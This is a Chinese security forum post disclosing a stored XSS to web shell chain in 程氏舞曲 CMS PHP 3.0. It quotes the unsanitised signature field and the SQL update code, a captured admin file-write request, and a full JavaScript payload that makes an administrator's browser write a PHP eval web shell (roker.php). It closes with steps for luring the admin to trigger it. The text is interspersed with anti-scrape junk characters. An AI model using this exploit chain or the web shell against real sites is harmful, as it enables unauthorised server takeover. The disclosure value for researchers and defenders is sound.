找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2362|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
) [: u( K% y; S* ^. Y; y3 q官网已经修补了,所以重新下了源码
: B& z. @- Z& H& O因为 后台登入 还需要认证码 所以 注入就没看了。; N  n! m0 |# j2 ]& {  c7 t/ `
存在 xss0 ]6 T* D4 B7 F" Z, R+ j4 D5 |
漏洞文件 user/member/skin_edit.php
: O: z$ t2 q$ {1 l: r6 k本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:+ p: v2 Z! r( d* r: b/ O" S- n5 N
  ' l0 i/ M* J& w1 m
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>! a5 X+ a9 y6 j5 Z
  
" _5 Z% b% u' E8 X- `4 C9 z</textarea></td></tr>  s/ C3 G# A$ x& o  a& ]
  5 h1 ?5 E& u# q5 e6 D
             user/do.php 0 Q8 H' Z. Q* C; a1 }
5 v/ k& S1 ~4 Z' {" C6 i
, X) G* I- I* L  Z
if($op=='zl'){ //资料- Q' q) b! M7 Y. W1 H3 D
  
' G% n9 b9 q) j$ \' _             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
6 n& c) m" z$ U5 G/ N5 H$ O2 {             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
; G! E# E% U: b6 G' ]: B  
* x: W. G9 w1 p" `             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',. M$ M2 U6 ?" e2 Q5 y" ~# D1 j* s( `
  
3 n& u) d' L; m6 ~7 t" N  L             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'2 K  u# x7 ~/ W) t7 J4 T
             where CS_Name='".$cscms_name."'";
7 @% a2 [" ?* ?, J- b' M0 Z- C  
. B8 C" @: {& e             if($db->query($sql)){3 \- f* m8 ^: _( z# p8 R, {
    D( O! r! }, Y+ h; Z5 d
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));$ d( \5 ^; N7 Q, C( i
  
1 `* s: ]) P% e             }else{
- P7 {' v& b3 }7 \  2 n$ [6 r3 F  a9 e' [/ ]. C
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));1 ~3 _. @. h' A4 w
  
$ T( Z- W+ s! w9 F4 I1 q             }, `# b  p; T5 N( F+ a* _; N1 L
7 f4 E( e( G- \% `" z. u

# ~# L( g# Q1 r2 [没有 过滤导致xss产生。
4 R! D* h8 a6 \; g后台 看了下 很奇葩的是可以写任意格式文件。。
& Z5 X7 ~/ X( S% Q1 B; O抓包。。
" ?8 b# E& E8 D% l# r
2 S* m, t2 f: z$ P+ E
, y0 D' p/ k4 K( s8 _9 {* Y/ g本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
$ {2 s2 A* ~7 C4 ?  0 [# T+ W( L1 g3 @
Accept: text/html, application/xhtml+xml, */*
& G  I  j3 @9 q; n  
# G" g/ @8 b; Q. yReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
2 F# c) R+ Q0 k- q  X# A  ?3 n  " [, D$ a# `7 b# h* X$ c& `1 a8 k
Accept-Language: zh-CN7 [3 x* Y9 u: V* Z. f
  
4 ]$ n6 h% M( Z% q0 \2 h, h$ D% @User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)5 i+ B. e* w8 d6 ]  g$ _9 u' \
  % F" b+ W+ m* A+ Q+ w
Content-Type: application/x-www-form-urlencoded$ J" x/ a% h2 X1 ~- w. Y* Y
  & i8 N- G0 f2 s% _( E# a
Accept-Encoding: gzip, deflate
* X0 ^) k+ F, g  M. f- L2 [) y& H. K  W  
! k# U1 V- e" A6 F) w. THost: 127.0.0.1
" B/ Q- k; @; ^" E9 K  & c# J' n) m6 ^
Content-Length: 38
. y2 d& i% V: V* e2 B8 T  
/ R. T6 r) G/ e) |1 B+ tDNT: 1
5 X* ?4 w% F+ P5 g' v, h  
+ v/ V  R5 v0 I0 D- e, AConnection: Keep-Alive
1 _' [" ^* ]$ Q; I6 C/ r  7 I  L3 T# w' E& _% ^
Cache-Control: no-cache) z! g9 K* a) a
  : D' R/ }; N3 R' u+ m
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
6 L3 ]2 y% T: {! u) e# h% s  
* f6 e' L+ `3 q1 X/ s/ y# J* a/ `) C& q! m
name=aaa.php&content=%3Cs%3E%3Ca%25%3E1 a$ P: B5 @% R" |0 g, z, E

& i/ F5 Q. f( i+ P. g5 E3 @, g& b# N% J- r' K

. _4 p6 h0 }- O, l; F4 F4 _( O于是 构造js如下。
9 P! ?) v) L, m0 e! f
# k9 {8 l( _9 m6 t2 d3 M' y% Z本帖隐藏的内容<script>
0 b! }' f+ }; E  L- u6 G2 r" x8 PthisTHost = top.location.hostname;
- R' t! N$ A0 o! f* s+ @2 V  7 [0 c4 L& R2 `5 z$ f( Q7 e
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
2 o/ r3 q; K  O* S$ V( @5 `  6 g, [: i% P3 i1 _8 _  j5 k5 D
function PostSubmit(url, data, msg) {
4 C6 U- O5 s5 z( z% D    var postUrl = url;0 d+ p" _3 o( n2 X
  
# d0 N2 j; C. J/ W  r. \    var postData = data;
: G, e' ^. {+ Q0 P/ y    var msgData = msg;
! e1 S, _+ h6 s6 n/ H, f! U    var ExportForm = document.createElement("FORM");
; ?: Q' u9 R3 O" }  y% I- t    document.body.appendChild(ExportForm);
- f% n  G" t( D: t    ExportForm.method = "POST"; ' U2 M3 u. Q: W+ z! U
    var newElement = document.createElement("input");
6 d3 @1 B* r: e    newElement.setAttribute("name", "name"); 5 ?2 E* c! i; s
    newElement.setAttribute("type", "hidden"); & @& O% B9 m( S* B7 X
    var newElement2 = document.createElement("input"); ( g+ p8 v4 x5 ~# o5 J; G" Z5 x
    newElement2.setAttribute("name", "content");
9 o" j0 {& T6 q, c# O) J    newElement2.setAttribute("type", "hidden"); * j4 ^& N7 h) S/ w0 o
    ExportForm.appendChild(newElement);
6 p$ s! T% A' v5 ^    ExportForm.appendChild(newElement2);
5 y5 E7 v/ c8 ?. P    newElement.value = postData; 2 e/ q2 R" C8 g: {2 w
    newElement2.value = msgData; 8 ?9 v. x' {9 J
    ExportForm.action = postUrl;
( I  j; \& }, b- A    ExportForm.submit(); * v0 H4 a( V! ?& P% w% A( Q
};- P6 y) ~" g0 j' X& w9 \
  
: L1 [  u; f8 @6 S% B5 ?6 |PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");& l, ~2 D1 v, S6 I
  
! B4 s2 s: L# \4 `</script>  k' T4 r/ F/ C- r. p$ n, B& [$ d$ T
' x- c3 M) X4 R7 u- {. J

3 m/ _( F/ }# D" q
! j2 f  V, S8 X2 \0 ohttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入% x$ d# k+ Z- Y- b
用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)2 ~' I8 C7 s; m/ }" J" [
就会 在 skins\index\html\目录下生成 roker.php 一句话。

) p2 n* g% z0 |9 j7 s% u7 \4 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表